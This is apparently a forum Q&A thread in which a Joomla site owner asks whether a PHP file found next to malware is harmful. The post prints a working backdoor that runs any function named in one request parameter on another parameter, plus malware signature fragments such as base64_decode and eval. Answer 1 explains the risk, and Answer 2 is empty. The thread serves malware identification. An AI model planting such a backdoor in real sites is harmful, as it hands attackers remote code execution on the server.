Is the following code malicious?

Question

Malware

Greetings, there are viruses on Joomla, I found all files with signatures

$qV="stop_"; , $sF="PCT4BA6ODSE_", isset($_REQUEST ,return base64_decode(, eval(

.. But next to the malware, I caught the eye of such a file.

<?php
if (isset($_REQUEST[id_polls])) {
     stripslashes($_REQUEST[fun]($_REQUEST[id_polls]));
   exit();
}
echo "Good day!!!<br>";
?>

I don't know if it can hurt or not?

Answer 1

Yes maybe.
The code calls any function whose name is in $_REQUEST[fun] with the parameter $_REQUEST[id_polls]

Answer 2
